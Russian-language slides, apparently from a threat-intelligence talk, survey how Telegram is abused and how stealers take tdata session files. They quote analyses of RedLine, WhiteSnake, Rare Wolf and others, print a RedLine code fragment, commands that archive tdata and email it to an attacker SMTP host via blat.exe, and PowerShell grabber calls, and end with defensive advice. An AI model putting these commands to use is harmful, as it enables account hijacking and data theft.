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Вся предоставляемая информация получена законным путем.

Все нижеизложенное приводится исключительно
в информационных и образовательных целях.

Повторение действий из презентации, возможно только с полного
согласия собственника информационной инфраструктуры, в которой

выполняются действия.
Авторы запрещают применение действий из презентации в незаконных

целях.

Представленный материал не пропагандирует и не призывает к
совершению преступных деяний в отношении других лиц, компаний

и/или организаций, а также государства.
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фишинг автоматизация создания фишинга
распространение фиш-китов
phishing-as-a-service

фейковые приложения
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мошенничество
новые функции = 
новые схемы мошенничества
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малвертайзинг
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публикация утечек
(фейковых в том числе)

распространение ВПО

файлообменник
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сервер
управления
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кража
аккаунтов
и групп
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1. Это сложно

2. Вообще-то, 
у меня установлен
облачный пароль
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%AppData%\Roaming\Telegram Desktop\tdata 14
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New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit, URL: 
https://unit42.paloaltonetworks.com/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-
fallout-exploit-kit/

AZORULT (2018)
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eSentire Threat Intelligence Malware Analysis: Aurora Stealer, URL: https://www.esentire.com/blog/esentire-threat-intelligence-
malware-analysis-aurora-stealer

AURORA STEALER (2023)
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REDLINE STEALER

RedLine Stealer: A malware-as-a-service info-stealer, URL: https://www.acronis.com/en-us/cyber-protection-center/posts/redline-
stealer-a-malware-as-a-service-info-stealer/

public override IEnumerable < Entity16 > Id3() {

List < Entity16 > entity16List = new List < Entity16 > ();

try {

int num = 1;

string[] parts = new string[9] {

"T",  "e",  "l",  "e",  "gr", "am", ".", "ex", "e"

};

foreach(string fileName in SystemInfoHelper.GetProcessBName(parts)) {

try {

entity16List.Add(new Entity 16() {

Id5 = num.ToString(),

Id2 = new string(new char[1] { '*’ }),

Id1 = new FileInfo(fileName).Directory.FullName + new string(new 

char[6] {

'\\', 't’, 'd’, 'a’, 't’, ‘a’  }
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Unleashing the Viper : A Technical Analysis of WhiteSnake Stealer, URL: https://russianpanda.com/2023/07/04/WhiteSnake-
Stealer-Malware-Analysis/

WHITESNAKE STEALER
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7z.exe a «C:\ProgramData\Setup\[USERNAME]_[COMPUTERNAME].7z» 

«C:\Users\[USERNAME]\AppData\Roaming\Telegram 

Desktop\tdata\*» -r -x!*. -x!*.exe -x!*.bat -x!*.lnk -

x!dumps\* -x!emoji\* -x!tdummy\* -x!user_data\*

Скачивание пиратской программы из торрентов привело к заражению сотен тысяч пользователей, URL: 
https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/a-pirated-program-downloaded-from-a-torrent-site-
infected-hundreds-of-thousands-of-users/

AUTOIT STEALER
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C:\Intel\driver.exe a -r -hplimpid2903392 C:\Intel\tdata.rar 

"C:\Users\[redacted]\AppData\Roaming\Telegram Desktop\tdata" /y

C:\Intel\blat.exe -to %mail-in% -f "TELEGRAM<%mail-out%>" -server 

smtp.acountservices[.]nl -port 587 -u %mail-out% -pw %pass-out% -

subject "[redacted]" -body "[redacted]" -attach "C:\Intel\tdata.rar"

del /q /f C:\Intel\tdata.rar

RARE WOLF

BI.ZONE Cyber Threat Intelligence Platform
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via PowerShell console:

./tg_grab__scanner.ps1 C:\users\public\hosts.txt C:\users\public\res.txt

via command line:
powershell -ex bypass -f get_tg.ps1

C0MET / SHADOW / SHADOW WOLF

Incident Response Reports
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И как теперь быть?

Облачный пароль – без него никуда

Локальный – тоже! Крайне желательно хотя бы в 10 символов

Отключение автоматического скачивания файлов в чатах

Никаких сторонних клиентов, только официальные приложения

Настройки приватности

*Важно помнить, что end-to-end шифрования по умолчанию нет

Помимо базовых правил цифровой гигиены,
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